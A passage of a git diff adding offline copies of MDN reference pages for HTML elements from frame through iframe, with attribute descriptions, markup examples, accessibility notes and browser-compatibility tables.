This attribute defines the existence of a scrollbar. If this attribute is not used, the browser adds a scrollbar when necessary. There are two choices: "yes" for forcing a scrollbar even when it is not necessary and "no" for forcing no scrollbar even when it is necessary.

+marginheight +

This attribute defines the height of the margin between frames.

+marginwidth +

This attribute defines the width of the margin between frames.

+frameborder +

This attribute allows you to specify a frame's border.

+
+

Example

+ +

A frameset document

+
+

A frameset document has a <frameset> element instead of a <body> element. The <frame> elements are placed within the <frameset>.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <!-- Document metadata goes here -->
+  </head>
+  <frameset cols="400, 500">
+    <frame src="https://developer.mozilla.org/en/HTML/Element/iframe" />
+    <frame src="https://developer.mozilla.org/en/HTML/Element/frame" />
+  </frameset>
+</html>
+
+

If you want to embed another HTML page into the <body> of a document, use an <iframe> element.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# frame
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
frame1121Yes1534.41841421.0
frameborder1121Yes1534.41841421.0
marginheight1121Yes1534.41841421.0
marginwidth1121Yes1534.41841421.0
name1121Yes1534.41841421.0
noresize1121Yes1534.41841421.0
scrolling1121Yes1534.41841421.0
src1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame +

+
diff --git a/devdocs/html/element%2Fframeset.html b/devdocs/html/element%2Fframeset.html new file mode 100644 index 00000000..3ad622ed --- /dev/null +++ b/devdocs/html/element%2Fframeset.html @@ -0,0 +1,114 @@ +

<frameset>

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <frameset> HTML element is used to contain <frame> elements.

Note: Because the use of frames is now discouraged in favor of using <iframe>, this element is not typically used by modern websites.

+
+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

+cols +

This attribute specifies the number and size of horizontal spaces in a frameset.

+rows +

This attribute specifies the number and size of vertical spaces in a frameset.

+
+

Example

+ +

A frameset document

+
+

A frameset document has a <frameset> element instead of a <body> element. The <frame> elements are placed within the <frameset>.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <!-- Document metadata goes here -->
+  </head>
+  <frameset cols="50%, 50%">
+    <frame src="https://developer.mozilla.org/en/HTML/Element/iframe" />
+    <frame src="https://developer.mozilla.org/en/HTML/Element/frame" />
+  </frameset>
+</html>
+
+

If you want to embed another HTML page into the <body> of a document, use an <iframe> element.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# frameset
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
frameset1121Yes1534.41841421.0
cols1121Yes1534.41841421.0
rows1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frameset +

+
diff --git a/devdocs/html/element%2Fhead.html b/devdocs/html/element%2Fhead.html new file mode 100644 index 00000000..4597cb8d --- /dev/null +++ b/devdocs/html/element%2Fhead.html @@ -0,0 +1,93 @@ +

<head>: The Document Metadata (Header) element

+

The <head> HTML element contains machine-readable information (metadata) about the document, like its title, scripts, and style sheets.

Note: <head> primarily holds information for machine processing, not human-readability. For human-visible information, like top-level headings and listed authors, see the <header> element.

+
+

Attributes

+
+

This element includes the global attributes.

+profile +

The URIs of one or more metadata profiles, separated by white space.

+
+

Examples

+
+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="UTF-8" />
+    <meta name="viewport" content="width=device-width" />
+    <title>Document title</title>
+  </head>
+</html>
+
+
+

Technical summary

+
Content categories None.
Permitted content

If the document is an <iframe> srcdoc document, or if title information is available from a higher level protocol (like the subject line in HTML email), zero or more elements of metadata content.

Otherwise, one or more elements of metadata content where exactly one is a <title> element.

Tag omission The start tag may be omitted if the first thing inside the <head> element is an element.
The end tag may be omitted if the first thing following the <head> element is not a space character or a comment.
Permitted parents An <html> element, as its first child.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLHeadElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-head-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
head1121Yes1514.41841411.0
profile1121Yes151–16.44.4184141–16.41.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head +

+
diff --git a/devdocs/html/element%2Fheader.html b/devdocs/html/element%2Fheader.html new file mode 100644 index 00000000..70bbebce --- /dev/null +++ b/devdocs/html/element%2Fheader.html @@ -0,0 +1,108 @@ +

<header>

The <header> HTML element represents introductory content, typically a group of introductory or navigational aids. It may contain some heading elements but also a logo, a search form, an author name, and other elements.

+

Try it

+
+

Usage notes

+
+

The <header> element has an identical meaning to the site-wide banner landmark role, unless nested within sectioning content. Then, the <header> element is not a landmark.

The <header> element can define a global site header, described as a banner in the accessibility tree. It usually includes a logo, company name, search feature, and possibly the global navigation or a slogan. It is generally located at the top of the page.

Otherwise, it is a section in the accessibility tree, and usually contains the surrounding section's heading (an h1 – h6 element) and optional subheading, but this is not required.

+
+

Historical Usage

+

The <header> element originally existed at the very beginning of HTML for headings. It is seen in the very first website. At some point, headings became <h1> through <h6>, allowing <header> to be free to fill a different role.

+

Attributes

+

This element only includes the global attributes.

+

Examples

+ +

Page Header

+
+
+

html

+
<header>
+  <h1>Main Page Title</h1>
+  <img src="mdn-logo-sm.png" alt="MDN logo" />
+</header>
+
+

Result

+
+ + +
+
+

Article Header

+
+
+

html

+
<article>
+  <header>
+    <h2>The Planet Earth</h2>
+    <p>
+      Posted on Wednesday, <time datetime="2017-10-04">4 October 2017</time> by
+      Jane Smith
+    </p>
+  </header>
+  <p>
+    We live on a planet that's blue and green, with so many things still unseen.
+  </p>
+  <p><a href="https://example.com/the-planet-earth/">Continue reading…</a></p>
+</article>
+
+

Result

+
+ + +
+
+

Accessibility

+

The <header> element defines a banner landmark when its context is the <body> element. The HTML header element is not considered a banner landmark when it is descendant of an <article>, <aside>, <main>, <nav>, or <section> element.

+

Technical summary

+
Content categories Flow content, palpable content.
Permitted content Flow content, but with no <header> or <footer> descendant.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content. Note that a <header> element must not be a descendant of an <address>, <footer> or another <header> element.
Implicit ARIA role banner, or generic if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, navigation or region
Permitted ARIA roles group, presentation or none
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-header-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
header5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/header +

+
diff --git a/devdocs/html/element%2Fheading_elements.html b/devdocs/html/element%2Fheading_elements.html new file mode 100644 index 00000000..6b3c829d --- /dev/null +++ b/devdocs/html/element%2Fheading_elements.html @@ -0,0 +1,171 @@ +

<h1>–<h6>: The HTML Section Heading elements

The <h1> to <h6> HTML elements represent six levels of section headings. <h1> is the highest section level and <h6> is the lowest. By default, all heading elements create a block-level box in the layout, starting on a new line and taking up the full width available in their containing block.

+

Try it

+
+
Content categories +Flow content, heading content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role heading
Permitted ARIA roles tab, presentation or none
DOM interface HTMLHeadingElement
+
+

Attributes

+

These elements only include the global attributes.

+

Usage notes

+
+

Avoid using multiple <h1> elements on one page

+
+

While using multiple <h1> elements on one page is allowed by the HTML standard (as long as they are not nested), this is not considered a best practice. A page should generally have a single <h1> element that describes the content of the page (similar to the document's <title> element).

Note: Nesting multiple <h1> elements in nested sectioning elements was allowed in older versions of the HTML standard. However, this was never considered a best practice and is now non-conforming. Read more in There Is No Document Outline Algorithm.

Prefer using only one <h1> per page and nest headings without skipping levels.

+
+

Examples

+ +

All headings

+
+

The following code shows all the heading levels, in use.

+

html

+
<h1>Heading level 1</h1>
+<h2>Heading level 2</h2>
+<h3>Heading level 3</h3>
+<h4>Heading level 4</h4>
+<h5>Heading level 5</h5>
+<h6>Heading level 6</h6>
+
+
+
+ + +
+
+

Example page

+
+

The following code shows a few headings with some content under them.

+

html

+
<h1>Heading elements</h1>
+<h2>Summary</h2>
+<p>Some text here…</p>
+
+<h2>Examples</h2>
+<h3>Example 1</h3>
+<p>Some text here…</p>
+
+<h3>Example 2</h3>
+<p>Some text here…</p>
+
+<h2>See also</h2>
+<p>Some text here…</p>
+
+
+
+ + +
+
+

Accessibility concerns

+ + +
+

A common navigation technique for users of screen reading software is to quickly jump from heading to heading in order to determine the content of the page. Because of this, it is important to not skip one or more heading levels. Doing so may create confusion, as the person navigating this way may be left wondering where the missing heading is.

Don't do this:

+

html

+
<h1>Heading level 1</h1>
+<h3>Heading level 3</h3>
+<h4>Heading level 4</h4>
+
+

Prefer this:

+

html

+
<h1>Heading level 1</h1>
+<h2>Heading level 2</h2>
+<h3>Heading level 3</h3>
+
+

Nesting

Headings may be nested as subsections to reflect the organization of the content of the page. Most screen readers can also generate an ordered list of all the headings on a page, which can help a person quickly determine the hierarchy of the content:

  1. +h1 Beetles
    1. +h2 Etymology
    2. +h2 Distribution and Diversity
    3. +h2 Evolution
      1. +h3 Late Paleozoic
      2. +h3 Jurassic
      3. +h3 Cretaceous
      4. +h3 Cenozoic
    4. +h2 External Morphology
      1. +h3 Head
        1. +h4 Mouthparts
      2. +h3 Thorax
        1. +h4 Prothorax
        2. +h4 Pterothorax
      3. +h3 Legs
      4. +h3 Wings
      5. +h3 Abdomen

When headings are nested, heading levels may be "skipped" when closing a subsection.

+
+

Labeling section content

+
+

Another common navigation technique for users of screen reading software is to generate a list of sectioning content and use it to determine the page's layout.

Sectioning content can be labeled using a combination of the aria-labelledby and id attributes, with the label concisely describing the purpose of the section. This technique is useful for situations where there is more than one sectioning element on the same page.

Sectioning content examples

+

html

+
<header>
+  <nav aria-labelledby="primary-navigation">
+    <h2 id="primary-navigation">Primary navigation</h2>
+    <!-- navigation items -->
+  </nav>
+</header>
+
+<!-- page content -->
+
+<footer>
+  <nav aria-labelledby="footer-navigation">
+    <h2 id="footer-navigation">Footer navigation</h2>
+    <!-- navigation items -->
+  </nav>
+</footer>
+
+
+
+ + +

In this example, screen reading technology would announce that there are two <nav> sections, one called "Primary navigation" and one called "Footer navigation". If labels were not provided, the person using screen reading software may have to investigate each nav element's contents to determine their purpose.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-h1,-h2,-h3,-h4,-h5,-and-h6-elements
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
Heading_Elements1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Heading_Elements +

+
diff --git a/devdocs/html/element%2Fhgroup.html b/devdocs/html/element%2Fhgroup.html new file mode 100644 index 00000000..2649c60b --- /dev/null +++ b/devdocs/html/element%2Fhgroup.html @@ -0,0 +1,92 @@ +

<hgroup>

The <hgroup> HTML element represents a heading and related content. It groups a single <h1>–<h6> element with one or more <p>.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <hgroup> element allows the grouping of a heading with any secondary content, such as subheadings, an alternative title, or tagline. Each of these types of content represented as a <p> element within the <hgroup>.

The <hgroup> itself has no impact on the document outline of a web page. Rather, the single allowed heading within the <hgroup> contributes to the document outline.

+
+

Examples

+
+

html

+
<!doctype html>
+<title>HTML Standard</title>
+<body>
+  <hgroup id="document-title">
+    <h1>HTML: Living Standard</h1>
+    <p>Last Updated 12 July 2022</p>
+  </hgroup>
+  <p>Some intro to the document.</p>
+  <h2>Table of contents</h2>
+  <ol id="toc">
+    …
+  </ol>
+  <h2>First section</h2>
+  <p>Some intro to the first section.</p>
+</body>
+
+
+

Result

+
+ + +
+

Accessibility concerns

+

The <hgroup> presently has no strong accessibility semantics. The content of the element (a heading and optional paragraphs) is what is exposed by browser accessibility APIs.

+

Technical summary

+
Content categories +Flow content, heading content, palpable content.
Permitted content Zero or more <p> elements, followed by one h1, h2, h3, h4, h5, or h6 element, followed by zero or more <p> elements.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-hgroup-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
hgroup5124911.152.218411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/hgroup +

+
diff --git a/devdocs/html/element%2Fhr.html b/devdocs/html/element%2Fhr.html new file mode 100644 index 00000000..e47ef5c9 --- /dev/null +++ b/devdocs/html/element%2Fhr.html @@ -0,0 +1,176 @@ +

<hr>: The Thematic Break (Horizontal Rule) element

The <hr> HTML element represents a thematic break between paragraph-level elements: for example, a change of scene in a story, or a shift of topic within a section.

+

Try it

+
+

Historically, this has been presented as a horizontal rule or line. While it may still be displayed as a horizontal rule in visual browsers, this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate CSS.

+
+

Attributes

+
+

This element's attributes include the global attributes.

+align +

Sets the alignment of the rule on the page. If no value is specified, the default value is left.

+color +

Sets the color of the rule through color name or hexadecimal value.

+noshade +

Sets the rule to have no shading.

+size +

Sets the height, in pixels, of the rule.

+width +

Sets the length of the rule on the page through a pixel or percentage value.

+
+

Example

+ +

HTML

+
+

html

+
<p>
+  This is the first paragraph of text. This is the first paragraph of text. This
+  is the first paragraph of text. This is the first paragraph of text.
+</p>
+
+<hr />
+
+<p>
+  This is the second paragraph of text. This is the second paragraph of text.
+  This is the second paragraph of text. This is the second paragraph of text.
+</p>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories +Flow content.
Permitted content None; it is a void element.
Tag omission It must have start tag, but must not have an end tag.
Permitted parents Any element that accepts flow content.
Implicit ARIA role separator
Permitted ARIA roles +presentation or none +
DOM interface HTMLHRElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-hr-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
hr11215.5≤12.134.4184≤12.111.0
align1121≤6≤12.1≤44.4184≤12.1≤3.21.0
color33121≤62010.14.4.33342010.32.0
noshade1121≤6≤12.1≤44.4184≤12.1≤3.21.0
size1121≤6≤12.1≤44.4184≤12.1≤3.21.0
width1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/hr +

+
diff --git a/devdocs/html/element%2Fhtml.html b/devdocs/html/element%2Fhtml.html new file mode 100644 index 00000000..477b1b45 --- /dev/null +++ b/devdocs/html/element%2Fhtml.html @@ -0,0 +1,131 @@ +

<html>: The HTML Document / Root element

+

The <html> HTML element represents the root (top-level element) of an HTML document, so it is also referred to as the root element. All other elements must be descendants of this element.

Content categories None.
Permitted content One <head> element, followed by one <body> element.
Tag omission The start tag may be omitted if the first thing inside the <html> element is not a comment.
The end tag may be omitted if the <html> element is not immediately followed by a comment.
Permitted parents None. This is the root element of a document.
Implicit ARIA role document
Permitted ARIA roles No role permitted
DOM interface HTMLHtmlElement
+
+

Attributes

+
+

This element includes the global attributes.

+manifest +

Specifies the URI of a resource manifest indicating resources that should be cached locally.

+version +

Specifies the version of the HTML Document Type Definition that governs the current document. This attribute is not needed, because it is redundant with the version information in the document type declaration.

xmlns

Specifies the XML Namespace of the document. Default value is "http://www.w3.org/1999/xhtml". This is required in documents parsed with XML parsers, and optional in text/html documents.

+
+

Example

+
+

html

+
<!doctype html>
+<html lang="en">
+  <head>
+    <!-- … -->
+  </head>
+  <body>
+    <!-- … -->
+  </body>
+</html>
+
+
+

Accessibility concerns

+
+

While HTML does not require authors to specify <html> element start and ending tags, it is important for authors to do so as it will allow them to specify the lang for the webpage. Providing a lang attribute with a valid language tag according to RFC 5646: Tags for Identifying Languages (also known as BCP 47) on the <html> element will help screen reading technology determine the proper language to announce. The identifying language tag should describe the language used by the majority of the content of the page. Without it, screen readers will typically default to the operating system's set language, which may cause mispronunciations.

Including a valid lang declaration on the <html> element also ensures that important metadata contained in the page's <head>, such as the page's <title>, are also announced properly.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-html-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
html1121Yes≤12.114.4184≤12.111.0
manifest4123.5–84
3Before version 3.5, Firefox ignores the NETWORK and FALLBACK sections of the cache manifest file.
+		1010.64–16.44.4184–84113.2–16.41.0
version1121Yes1514.41841411.0
xmlns1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html +

+
diff --git a/devdocs/html/element%2Fi.html b/devdocs/html/element%2Fi.html new file mode 100644 index 00000000..7fbed88f --- /dev/null +++ b/devdocs/html/element%2Fi.html @@ -0,0 +1,79 @@ +

<i>: The Idiomatic Text element

The <i> HTML element represents a range of text that is set off from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others. Historically, these have been presented using italicized type, which is the original source of the <i> naming of this element.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+

This example demonstrates using the <i> element to mark text that is in another language.

+

html

+
<p>
+  The Latin phrase <i lang="la">Veni, vidi, vici</i> is often mentioned in
+  music, art, and literature.
+</p>
+
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-i-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
i1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/i +

+
diff --git a/devdocs/html/element%2Fiframe.html b/devdocs/html/element%2Fiframe.html new file mode 100644 index 00000000..fd1b435e --- /dev/null +++ b/devdocs/html/element%2Fiframe.html @@ -0,0 +1,435 @@ +

<iframe>: The Inline Frame element

The <iframe> HTML element represents a nested browsing context, embedding another HTML page into the current one.

+

Try it

+
+

Each embedded browsing context has its own document and allows URL navigations. The navigations of each embedded browsing context are linearized into the session history of the topmost browsing context. The browsing context that embeds the others is called the parent browsing context. The topmost browsing context — the one with no parent — is usually the browser window, represented by the Window object.

Warning: Because each browsing context is a complete document environment, every <iframe> in a page requires increased memory and other computing resources. While theoretically you can use as many <iframe>s as you like, check for performance problems.

+
+

Attributes

+
+

This element includes the global attributes.

allow

Specifies a Permissions Policy for the <iframe>. The policy defines what features are available to the <iframe> (for example, access to the microphone, camera, battery, web-share, etc.) based on the origin of the request.

Note: A Permissions Policy specified by the allow attribute implements a further restriction on top of the policy specified in the Permissions-Policy header. It doesn't replace it.

allowfullscreen

Set to true if the <iframe> can activate fullscreen mode by calling the requestFullscreen() method.

Note: This attribute is considered a legacy attribute and redefined as allow="fullscreen".

+allowpaymentrequest +

Set to true if a cross-origin <iframe> should be allowed to invoke the Payment Request API.

Note: This attribute is considered a legacy attribute and redefined as allow="payment".

+credentialless +

Set to true to make the <iframe> credentialless, meaning that its content will be loaded in a new, ephemeral context. It doesn't have access to the network, cookies, and storage data associated with its origin. It uses a new context local to the top-level document lifetime. In return, the Cross-Origin-Embedder-Policy (COEP) embedding rules can be lifted, so documents with COEP set can embed third-party documents that do not. See IFrame credentialless for more details.

+csp +

A Content Security Policy enforced for the embedded resource. See HTMLIFrameElement.csp for details.

height

The height of the frame in CSS pixels. Default is 150.

loading

Indicates how the browser should load the iframe:

  • +eager: Load the iframe immediately, regardless if it is outside the visible viewport (this is the default value).
  • +lazy: Defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser.
name

A targetable name for the embedded browsing context. This can be used in the target attribute of the <a>, <form>, or <base> elements; the formtarget attribute of the <input> or <button> elements; or the windowName parameter in the window.open() method.

referrerpolicy

Indicates which referrer to send when fetching the frame's resource:

  • +no-referrer: The Referer header will not be sent.
  • +no-referrer-when-downgrade: The Referer header will not be sent to origins without TLS (HTTPS).
  • +origin: The sent referrer will be limited to the origin of the referring page: its scheme, host, and port.
  • +origin-when-cross-origin: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.
  • +same-origin: A referrer will be sent for same origin, but cross-origin requests will contain no referrer information.
  • +strict-origin: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).
  • +strict-origin-when-cross-origin (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).
  • +unsafe-url: The referrer will include the origin and the path (but not the fragment, password, or username). This value is unsafe, because it leaks origins and paths from TLS-protected resources to insecure origins.
sandbox

Controls the restrictions applied to the content embedded in the <iframe>. The value of the attribute can either be empty to apply all restrictions, or space-separated tokens to lift particular restrictions:

  • +allow-downloads: Allows downloading files through an <a> or <area> element with the download attribute, as well as through the navigation that leads to a download of a file. This works regardless of whether the user clicked on the link, or JS code initiated it without user interaction.
  • +allow-downloads-without-user-activation : Allows for downloads to occur without a gesture from the user.
  • +allow-forms: Allows the page to submit forms. If this keyword is not used, form will be displayed as normal, but submitting it will not trigger input validation, sending data to a web server or closing a dialog.
  • +allow-modals: Allows the page to open modal windows by Window.alert(), Window.confirm(), Window.print() and Window.prompt(), while opening a <dialog> is allowed regardless of this keyword. It also allows the page to receive BeforeUnloadEvent event.
  • +allow-orientation-lock: Lets the resource lock the screen orientation.
  • +allow-pointer-lock: Allows the page to use the Pointer Lock API.
  • +allow-popups: Allows popups (like from Window.open(), target="_blank", Window.showModalDialog()). If this keyword is not used, that functionality will silently fail.
  • +allow-popups-to-escape-sandbox: Allows a sandboxed document to open new windows without forcing the sandboxing flags upon them. This will allow, for example, a third-party advertisement to be safely sandboxed without forcing the same restrictions upon the page the ad links to.
  • +allow-presentation: Allows embedders to have control over whether an iframe can start a presentation session.
  • +allow-same-origin: If this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy (potentially preventing access to data storage/cookies and some JavaScript APIs).
  • +allow-scripts: Allows the page to run scripts (but not create pop-up windows). If this keyword is not used, this operation is not allowed.
  • +allow-storage-access-by-user-activation : Allows a document loaded in the <iframe> to use the Storage Access API to request access to unpartitioned cookies.
  • +allow-top-navigation: Lets the resource navigate the top-level browsing context (the one named _top).
  • +allow-top-navigation-by-user-activation: Lets the resource navigate the top-level browsing context, but only if initiated by a user gesture.
  • +allow-top-navigation-to-custom-protocols: Allows navigations to non-http protocols built into browser or registered by a website. This feature is also activated by allow-popups or allow-top-navigation keyword.

Note:

  • When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.
  • Sandboxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a new tab. Such content should be also served from a separate origin to limit potential damage.
src

The URL of the page to embed. Use a value of about:blank to embed an empty page that conforms to the same-origin policy. Also note that programmatically removing an <iframe>'s src attribute (e.g. via Element.removeAttribute()) causes about:blank to be loaded in the frame in Firefox (from version 65), Chromium-based browsers, and Safari/iOS.

srcdoc

Inline HTML to embed, overriding the src attribute. If a browser does not support the srcdoc attribute, it will fall back to the URL in the src attribute.

width

The width of the frame in CSS pixels. Default is 300.

+
+

Deprecated attributes

+
+

These attributes are deprecated and may no longer be supported by all user agents. You should not use them in new content, and try to remove them from existing content.

+align +

The alignment of this element with respect to the surrounding context.

+frameborder +

The value 1 (the default) draws a border around this frame. The value 0 removes the border around this frame, but you should instead use the CSS property border to control <iframe> borders.

+longdesc +

A URL of a long description of the frame's content. Due to widespread misuse, this is not helpful for non-visual browsers.

+marginheight +

The amount of space in pixels between the frame's content and its top and bottom borders.

+marginwidth +

The amount of space in pixels between the frame's content and its left and right borders.

+scrolling +

Indicates when the browser should provide a scrollbar for the frame:

  • +auto: Only when the frame's content is larger than its dimensions.
  • +yes: Always show a scrollbar.
  • +no: Never show a scrollbar.
+
+

Scripting

+
+

Inline frames, like <frame> elements, are included in the window.frames pseudo-array.

With the DOM HTMLIFrameElement object, scripts can access the window object of the framed resource via the contentWindow property. The contentDocument property refers to the document inside the <iframe>, same as contentWindow.document.

From the inside of a frame, a script can get a reference to its parent window with window.parent.

Script access to a frame's content is subject to the same-origin policy. Scripts cannot access most properties in other window objects if the script was loaded from a different origin, including scripts inside a frame accessing the frame's parent. Cross-origin communication can be achieved using Window.postMessage().

+
+

Positioning and scaling

+

As a replaced element, the position, alignment, and scaling of the embedded document within the <iframe> element's box, can be adjusted with the object-position and object-fit properties.

+

Examples

+ +

A simple <iframe>

+
+

This example embeds the page at https://example.org in an iframe.

HTML

+

html

+
<iframe
+  src="https://example.org"
+  title="iframe Example 1"
+  width="400"
+  height="300">
+</iframe>
+
+

Result

+
+ + +
+
+

Accessibility concerns

+
+

People navigating with assistive technology such as a screen reader can use the title attribute on an <iframe> to label its content. The title's value should concisely describe the embedded content:

+

html

+
<iframe
+  title="Wikipedia page for Avocados"
+  src="https://en.wikipedia.org/wiki/Avocado"></iframe>
+
+

Without this title, they have to navigate into the <iframe> to determine what its embedded content is. This context shift can be confusing and time-consuming, especially for pages with multiple <iframe>s and/or if embeds contain interactive content like video or audio.

+
+

Technical summary

+
Content categories Flow content, phrasing content, embedded content, interactive content, palpable content.
Permitted content None.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles application, document, img, none, presentation
DOM interface HTMLIFrameElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-iframe-element
+

Browser compatibility

+
